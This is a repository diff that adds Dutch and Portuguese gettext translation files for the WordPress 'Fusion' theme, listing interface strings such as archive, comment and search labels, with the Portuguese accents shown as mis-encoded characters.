+#: c:\wamp\www\wordpress\wp-content\themes\fusion/image.php:49
+msgid "Edit this entry"
+msgstr "Dit bericht bewerken"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/image.php:54
+msgid "Sorry, no attachments matched your criteria."
+msgstr "Sorry, er zijn geen bijlagen die aan uw criteria voldoen."
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/index.php:54
+msgid "Not Found"
+msgstr "Niet gevonden."
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/index.php:55
+msgid "Sorry, but you are looking for something that isn't here."
+msgstr "Sorry, maar u zoekt iets wat hier niet gevonden kan worden."
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/links.php:10
+msgid "Links:"
+msgstr "Links:"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/page-3col.php:20
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/page-nosidebar.php:21
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/page.php:16
+msgid "Read the rest of this page &raquo;"
+msgstr "Lees meer &raquo;"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/search.php:8
+msgid "Search Results"
+msgstr "Zoekresultaten"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/search.php:40
+msgid "No posts found. Try a different search?"
+msgstr "Geen berichten gevonden. Wilt u een andere zoekopdracht proberen?"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/searchform.php:8
+msgid "Search"
+msgstr "Zoeken"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/sidebar.php:20
+#, php-format
+msgid "You are currently browsing the archives for the %s category."
+msgstr "U bekijkt momenteel de archieven van de categorie %s."
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/sidebar.php:23
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/sidebar.php:26
+#, php-format
+msgid "You are currently browsing the archives for %s"
+msgstr "U bekijkt momenteel de archieven met trefwoord %s"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/sidebar.php:29
+#, php-format
+msgid "You are currently browsing the archives for the year %s"
+msgstr "U bekijkt momenteel de archieven van het jaar %s"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/sidebar.php:32
+#, php-format
+msgid "You have searched the archives for %s."
+msgstr "U heeft de archieven doorzocht op %s."
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/sidebar.php:35
+msgid "You are currently browsing the archives."
+msgstr "U bekijkt momenteel de archieven."
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/sidebar.php:62
+msgid "Archives"
+msgstr "Archieven"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/sidebar.php:73
+msgid "Meta"
+msgstr "Meta"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/single.php:59
+msgid "Sorry, no posts matched your criteria."
+msgstr "Sorry, er zijn geen berichten die aan uw criteria voldoen."
+
+#~ msgid "on"
+#~ msgstr "op"
+#~ msgid "to see existing styles, which you can redefine here."
+#~ msgstr "als referentie, en herdefinieer deze (deels) hier."
+#~ msgid "by"
+#~ msgstr "door"
+#~ msgid "%1$s at %2$s"
+#~ msgstr "%1$s om %2$s"
+#~ msgid "This entry was posted on"
+#~ msgstr "Dit bericht is geplaatst op"
+#~ msgid "and is filed under"
+#~ msgstr "en is gearchiveerd onder"
+
Index: /trunk/www.guidonia.net/wp/wp-content/themes/fusion/lang/pt_BR.po
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/themes/fusion/lang/pt_BR.po	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/themes/fusion/lang/pt_BR.po	(revision 44)
@@ -0,0 +1,567 @@
+msgid ""
+msgstr ""
+"Project-Id-Version: Fusion 2.3\n"
+"Report-Msgid-Bugs-To: \n"
+"POT-Creation-Date: 2009-03-01 18:24+0200\n"
+"PO-Revision-Date: 2009-03-08 15:38-0300\n"
+"Last-Translator: JonatÃ£ Bolzan <jbopen@gmail.com>\n"
+"Language-Team: digitalnature.ro <hello@digitalnature.ro>\n"
+"MIME-Version: 1.0\n"
+"Content-Type: text/plain; charset=UTF-8\n"
+"Content-Transfer-Encoding: 8bit\n"
+"X-Poedit-Language: English\n"
+"X-Poedit-Country: UNITED STATES\n"
+"X-Poedit-Basepath: .\n"
+"X-Poedit-KeywordsList: __;_e\n"
+"X-Poedit-SearchPath-0: c:\\wamp\\www\\wordpress\\wp-content\\themes\\fusion\n"
+"X-Poedit-SearchPath-1: .\n"
+"X-Poedit-SearchPath-2: ..\n"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/404.php:7
+msgid "Page not found (404)"
+msgstr "PÃ¡gina nÃ£o encontrada (404)"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/archive.php:9
+msgid "Archive for category"
+msgstr "Arquivar por categoria"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/archive.php:11
+msgid "Posts Tagged"
+msgstr "Posts etiquetados"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/archive.php:13
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/archive.php:15
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/archive.php:17
+msgid "Archive for"
+msgstr "Arquivar para"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/archive.php:13
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/archive.php:35
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/functions.php:204
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/index.php:20
+msgid "F jS, Y"
+msgstr "j \\d\\e F \\d\\e Y"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/archive.php:15
+msgid "F, Y"
+msgstr "F \\d\\e Y"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/archive.php:17
+msgid "Y"
+msgstr "Y"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/archive.php:19
+msgid "Author Archive"
+msgstr "Arquivo do Autor"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/archive.php:21
+msgid "Blog Archives"
+msgstr "Arquivos do Blog"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/archive.php:30
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/index.php:14
+msgid "Permanent Link to"
+msgstr "Link permanente para"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/archive.php:35
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/index.php:20
+#, php-format
+msgid "Posted by %s in %s"
+msgstr "Postado por %s como %s"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/archive.php:35
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/author.php:37
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/index.php:20
+#, php-format
+msgid "Posts by %s"
+msgstr "Posts por %s"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/archive.php:35
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/index.php:20
+msgid "on"
+msgstr "em"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/archive.php:42
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/image.php:16
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/index.php:28
+msgid "Read the rest of this entry &raquo;"
+msgstr "Leia o resto desse post &raquo;"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/archive.php:54
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/author.php:46
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/index.php:40
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/search.php:26
+msgid "No Comments"
+msgstr "Nenhum comentÃ¡rio."
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/archive.php:54
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/author.php:46
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/index.php:40
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/search.php:26
+msgid "1 Comment"
+msgstr "1 ComentÃ¡rio"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/archive.php:54
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/author.php:46
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/index.php:40
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/search.php:26
+msgid "% Comments"
+msgstr "% ComentÃ¡rios"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/archive.php:65
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/author.php:53
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/index.php:52
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/search.php:12
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/search.php:33
+msgid "&laquo; Older Entries"
+msgstr "&laquo; Posts anteriores"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/archive.php:66
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/author.php:54
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/index.php:53
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/search.php:13
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/search.php:34
+msgid "Newer Entries &raquo;"
+msgstr "Posts recentes &raquo;"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/archive.php:72
+#, php-format
+msgid "Sorry, but there aren't any posts in the %s category yet."
+msgstr "Desculpe, mas nÃ£o hÃ¡ nenhum post na categoria %s ainda."
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/archive.php:74
+msgid "Sorry, but there aren't any posts with this date."
+msgstr "Desculpe, mas nÃ£o hÃ¡ nenhum post nesta data."
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/archive.php:77
+#, php-format
+msgid "Sorry, but there aren't any posts by %s yet."
+msgstr "Desculpe, mas nÃ£o hÃ¡ nenhum post por %s ainda."
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/archive.php:79
+msgid "No posts found."
+msgstr "Nenhum post encontrado."
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/archives.php:10
+msgid "Archives by Month:"
+msgstr "Arquivos por mÃªs:"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/archives.php:14
+msgid "Archives by Subject:"
+msgstr "Arquivos por tÃ­tulo:"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/author.php:20
+msgid "This user hasn't shared any biographical information"
+msgstr "Este usuÃ¡rio nÃ£o compartilha nenhuma informaÃ§Ã£o bibliogrÃ¡fica"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/author.php:25
+msgid "Homepage:"
+msgstr "Homepage:"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/author.php:26
+msgid "Yahoo Messenger:"
+msgstr "Mensageiro do Yahoo:"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/author.php:27
+msgid "Jabber/GTalk:"
+msgstr "Jabber/GTalk:"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/author.php:28
+msgid "AIM:"
+msgstr "AIM:"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/author.php:45
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/image.php:29
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/search.php:25
+msgid "l, F jS, Y"
+msgstr "l, j \\d\\e F \\d\\e Y"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/author.php:46
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/search.php:26
+msgid "Tags: "
+msgstr "Etiquetas:"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/author.php:46
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/search.php:26
+msgid "Posted in"
+msgstr "Postado em"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/author.php:46
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/search.php:26
+msgid "Edit"
+msgstr "Editar"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/author.php:59
+msgid "No posts found by this author."
+msgstr "Nenhum post por esse autor encontrado."
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/comments.php:5
+msgid "Enter your password to view comments"
+msgstr "Coloque sua senha para ver comentÃ¡rios"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/comments.php:21
+msgid "Comments"
+msgstr "ComentÃ¡rios"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/comments.php:22
+msgid "Trackbacks"
+msgstr "CitaÃ§Ãµes"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/comments.php:41
+msgid "No comments yet."
+msgstr "Nenhum comentÃ¡rio ainda."
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/comments.php:62
+#, php-format
+msgid "You must be <a href=\"%s\">logged in</a> to post a comment."
+msgstr "VocÃª precisa fazer <a href=\"%s\">login</a> para postar um comentÃ¡rio."
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/comments.php:69
+msgid "Cancel Reply"
+msgstr "Cancelar resposta"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/comments.php:72
+msgid "Logged in as"
+msgstr "Login feito como"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/comments.php:72
+msgid "Log out of this account"
+msgstr "Sair dessa conta"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/comments.php:72
+msgid "Logout &raquo;"
+msgstr "Sair &raquo;"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/comments.php:75
+#, php-format
+msgid "Welcome back <strong>%s</strong>."
+msgstr "Bem vindo novamente <strong>%s</strong>."
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/comments.php:75
+msgid "Change &raquo;"
+msgstr "Mudar &raquo;"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/comments.php:75
+msgid "Close &raquo;"
+msgstr "Fechar &raquo;"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/comments.php:80
+msgid "Name"
+msgstr "Nome"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/comments.php:80
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/comments.php:84
+msgid "(required)"
+msgstr "(necessÃ¡rio)"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/comments.php:84
+msgid "E-Mail"
+msgstr "E-Mail"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/comments.php:84
+msgid "(will not be published)"
+msgstr "(nÃ£o serÃ¡ publicado)"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/comments.php:88
+msgid "Website"
+msgstr "Website"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/comments.php:106
+msgid "Submit Comment"
+msgstr "Mandar ComentÃ¡rio"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/comments.php:124
+msgid "No trackbacks yet."
+msgstr "Sem citaÃ§Ãµes ainda."
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/comments.php:137
+msgid "Comments are closed."
+msgstr "ComentÃ¡rios estÃ£o fechados."
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/footer.php:7
+msgid "Fusion theme by"
+msgstr "Tema Fusion por"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/footer.php:7
+msgid "powered by "
+msgstr "rodando por"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/footer.php:8
+msgid "Entries (RSS)"
+msgstr "Posts (RSS)"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/footer.php:8
+msgid "and"
+msgstr "e"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/footer.php:8
+msgid "Comments (RSS)"
+msgstr "ComentÃ¡rios (RSS)"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/footer.php:15
+msgid "Increase/Decrease text size"
+msgstr "Aumentar/Diminuir tamanho do texto"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/footer.php:16
+msgid "Switch between full and fixed width"
+msgstr "Muda entre largura total e largura fixa"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/functions.php:88
+msgid "Fusion Theme Options"
+msgstr "OpÃ§Ãµes do tema Fusion"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/functions.php:91
+msgid "Meta keywords:"
+msgstr "Meta keywords:"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/functions.php:92
+msgid "Separate with commas"
+msgstr "Separar com vÃ­rgulas"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/functions.php:97
+msgid "Use custom logo image"
+msgstr "Usar imagem de logo prÃ³pria"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/functions.php:97
+msgid "Upload your logo as \"logo.png\" in the theme directory:"
+msgstr "Mandar sua logo como \"logo.png\" na pasta do tema:"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/functions.php:97
+msgid "You should export the logo image with transparency enabled"
+msgstr "VocÃª deve exportar a imagem de logo com transparÃªncia habilitada"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/functions.php:102
+msgid "Disable homepage tab"
+msgstr "Desabilitar aba de pÃ¡gina inicial"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/functions.php:102
+msgid "Check this if you are using a static page as the homepage"
+msgstr "Marque se estÃ¡ usando uma pÃ¡gina estÃ¡tica como pÃ¡gina inicial"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/functions.php:107
+msgid "Show the categories as header tabs"
+msgstr "Mostrar as categorias como abas no cabeÃ§alho"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/functions.php:107
+msgid "(instead of pages)"
+msgstr "(ao invÃ©s de pÃ¡ginas)"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/functions.php:112
+msgid "Disable the default category block in the sidebar"
+msgstr "Desabilita o bloco de categorias padrÃ£o na barra lateral"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/functions.php:112
+msgid "Check if you prefer the widgetized category display or just want to hide the categories"
+msgstr "Marque se vocÃª prefere o display em widgets das categorias ou apenas quer esconder as categorias"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/functions.php:117
+msgid "Disable the default search block in the sidebar"
+msgstr "Desabilite o bloco de procura padrÃ£o na barra lateral"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/functions.php:117
+msgid "Check if you don't like the theme-default search look"
+msgstr "Marque se vocÃª nÃ£o gosta do visual da procura padrÃ£o do tema"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/functions.php:122
+msgid "Disable layout controls (Aa/<>)"
+msgstr "Desabilitar controles de layout (Aa/<>)"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/functions.php:124
+msgid "Default page content width:"
+msgstr "Largura do conteÃºdo da pÃ¡gina:"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/functions.php:127
+msgid "Fixed (960 pixels)"
+msgstr "Fixo (960 pixels)"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/functions.php:131
+msgid "Fluid (95 percent of the visitor's screen width)"
+msgstr "Fluente (95 por cento da largura da tela do visitante)"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/functions.php:132
+msgid "Note that if the layout controls are enabled, the visitor's javascript page width cookie setting will override this option"
+msgstr "Note que, se os controles de layout estiverem habilitados, a configuraÃ§Ã£o em cookie da largura de pÃ¡gina em javascript do visitante vai sobrescrever essa opÃ§Ã£o"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/functions.php:136
+msgid "Sidebar position:"
+msgstr "PosiÃ§Ã£o da barra lateral:"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/functions.php:139
+msgid "Right (default)"
+msgstr "Direita (padrÃ£o)"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/functions.php:143
+msgid "Left"
+msgstr "Esquerda"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/functions.php:149
+msgid "Disable jQuery and the associated code"
+msgstr "Desabilitar jQuery e todo cÃ³digo associado"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/functions.php:149
+msgid "This will reduce the page load with ~70 KB, but will also disable some features and effects (layout controls, rss links inside category menu, comment tabs, trackbacks).<br />You shouldn't change this unless you have problems with your host regarding bandwidth"
+msgstr "Isso vai reduzir o carregamento da pÃ¡gina em ~70kb, mas vai tambÃ©m desabilitar algumas funÃ§Ãµes e efeitos (controles de layout, links rss dentro do menu de categorias, abas de comentÃ¡rios, citaÃ§Ãµes).<br />VocÃª deveria deixar assim a nÃ£o ser que vocÃª tenha problemas com o uso de banda de sua hospedagem."
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/functions.php:152
+msgid "Custom CSS code"
+msgstr "CÃ³digo CSS prÃ³prio"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/functions.php:152
+msgid "Here you can add or change anything related to design if you have some basic CSS knowledge. Check "
+msgstr "Aqui vocÃª pode adicionar ou mudar qualquer coisa relacionada a desenho se vocÃª tem algum conhecimento bÃ¡sico em CSS. Confira"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/functions.php:152
+msgid "to see existing styles, which you can redefine here."
+msgstr "para ver estilos existentes, que vocÃª pode redefinir aqui."
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/functions.php:152
+msgid "Don't modify style.css if you wish to preserve your changes after theme update! Use this option instead."
+msgstr "NÃ£o modifique style.css se quiser preservar suas alteraÃ§Ãµes depois de uma atualizaÃ§Ã£o do tema. Use esta opÃ§Ã£o no lugar."
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/functions.php:155
+msgid "Save Changes"
+msgstr "Salvar mudanÃ§as"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/functions.php:204
+msgid "by"
+msgstr "por"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/functions.php:204
+#, php-format
+msgid "%1$s at %2$s"
+msgstr "%1$s em %2$s"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/functions.php:204
+msgid "H:i"
+msgstr "H:i"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/functions.php:208
+msgid "Your comment is awaiting moderation."
+msgstr "Seu comentÃ¡rio estÃ¡ aguardando moderaÃ§Ã£o."
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/functions.php:218
+msgid "Reply"
+msgstr "Resposta"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/functions.php:218
+msgid "Quote"
+msgstr "Citar"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/header.php:158
+msgid "You are Home"
+msgstr "VocÃª estÃ¡ no InÃ­cio"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/header.php:158
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/header.php:160
+msgid "Home"
+msgstr "InÃ­cio"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/header.php:160
+msgid "Click for Home"
+msgstr "Clique para InÃ­cio"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/image.php:28
+msgid "This entry was posted on"
+msgstr "Este post foi feito"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/image.php:30
+msgid "and is filed under"
+msgstr "e estÃ¡ como"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/image.php:32
+msgid "You can follow any responses to this entry through"
+msgstr "VocÃª pode acompanhar alguma resposta a esse post atravÃ©s de"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/image.php:35
+#, php-format
+msgid "You can <a href=\"#respond\">leave a response</a>, or <a href=\"%s\" rel=\"trackback\">trackback</a> from your own site."
+msgstr "VocÃª pode <a href=\"#respond\">deixar uma resposta</a>, ou <a href=\"%s\" rel=\"trackback\">citar</a> de seu prÃ³prio site."
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/image.php:39
+#, php-format
+msgid "Responses are currently closed, but you can <a href=\"%s\" rel=\"trackback\">trackback</a> from your own site."
+msgstr "Respostas estÃ£o atualmente fechadas, mas vocÃª pode <a href=\"%s\" rel=\"trackback\">citar</a> de seu prÃ³prio site."
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/image.php:43
+msgid "You can skip to the end and leave a response. Pinging is currently not allowed."
+msgstr "VocÃª pode pular para o fim e deixar uma resposta. Pinging nÃ£o Ã© atualmente permitido."
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/image.php:47
+msgid "Both comments and pings are currently closed."
+msgstr "Tanto comentÃ¡rios como pings estÃ£o atualmente fechados."
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/image.php:49
+msgid "Edit this entry"
+msgstr "Editar este post"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/image.php:54
+msgid "Sorry, no attachments matched your criteria."
+msgstr "Desculpe, nenhum anexo corresponde a sua procura."
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/index.php:60
+msgid "Not Found"
+msgstr "NÃ£o encontrado."
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/index.php:61
+msgid "Sorry, but you are looking for something that isn't here."
+msgstr "Desculpe, mas vocÃª estÃ¡ procurando algo que nÃ£o estÃ¡ aqui."
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/links.php:9
+msgid "Links:"
+msgstr "Links:"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/page-3col.php:23
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/page-hidecomments.php:23
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/page-nosidebar.php:19
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/page.php:16
+msgid "Read the rest of this page &raquo;"
+msgstr "Leia o restante dessa pÃ¡gina &raquo;"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/search.php:7
+msgid "Search Results"
+msgstr "Resultados da procura"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/search.php:39
+msgid "No posts found. Try a different search?"
+msgstr "Nenhum post encontrado. Talvez uma procura diferente?"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/searchform.php:8
+msgid "Search"
+msgstr "Procurar"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/sidebar.php:27
+#, php-format
+msgid "You are currently browsing the archives for the %1$s category."
+msgstr "VocÃª estÃ¡ agora navegando nos arquivos pela categoria %1$s"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/sidebar.php:30
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/sidebar.php:33
+#, php-format
+msgid "You are currently browsing the archives for %1$s"
+msgstr "VocÃª estÃ¡ agora navegando nos arquivos por %1$s"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/sidebar.php:36
+#, php-format
+msgid "You are currently browsing the archives for the year %1$s"
+msgstr "VocÃª estÃ¡ agora navegando nos arquivos pelo ano %1$s"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/sidebar.php:39
+msgid "You have searched the archives for"
+msgstr "VocÃª procurou os arquivos para"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/sidebar.php:42
+msgid "You are currently browsing the archives."
+msgstr "VocÃª estÃ¡ agora navegando nos arquivos."
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/sidebar.php:66
+msgid "Archives"
+msgstr "Arquivos"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/sidebar.php:77
+msgid "Meta"
+msgstr "Meta"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/single.php:61
+msgid "Sorry, no posts matched your criteria."
+msgstr "Desculpe, nenhum post corresponde a sua pesquisa."
+
Index: /trunk/www.guidonia.net/wp/wp-content/themes/fusion/lang/pt_PT.po
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/themes/fusion/lang/pt_PT.po	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/themes/fusion/lang/pt_PT.po	(revision 44)
@@ -0,0 +1,567 @@
+msgid ""
+msgstr ""
+"Project-Id-Version: Fusion 2.3\n"
+"Report-Msgid-Bugs-To: \n"
+"POT-Creation-Date: 2009-03-01 18:24+0200\n"
+"PO-Revision-Date: 2009-04-08 17:19-0000\n"
+"Last-Translator: \n"
+"Language-Team: digitalnature.ro <hello@digitalnature.ro>\n"
+"MIME-Version: 1.0\n"
+"Content-Type: text/plain; charset=UTF-8\n"
+"Content-Transfer-Encoding: 8bit\n"
+"X-Poedit-Language: English\n"
+"X-Poedit-Country: UNITED STATES\n"
+"X-Poedit-Basepath: .\n"
+"X-Poedit-KeywordsList: __;_e\n"
+"X-Poedit-SearchPath-0: c:\\wamp\\www\\wordpress\\wp-content\\themes\\fusion\n"
+"X-Poedit-SearchPath-1: .\n"
+"X-Poedit-SearchPath-2: ..\n"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/404.php:7
+msgid "Page not found (404)"
+msgstr "PÃ¡gina nÃ£o encontrada (404)"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/archive.php:9
+msgid "Archive for category"
+msgstr "Arquivar por categoria"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/archive.php:11
+msgid "Posts Tagged"
+msgstr "Posts etiquetados"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/archive.php:13
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/archive.php:15
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/archive.php:17
+msgid "Archive for"
+msgstr "Arquivar para"
+
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/archive.php:13
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/archive.php:35
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/functions.php:204
+#: c:\wamp\www\wordpress\wp-content\themes\fusion/index.php:20
+msgid "F jS, Y"
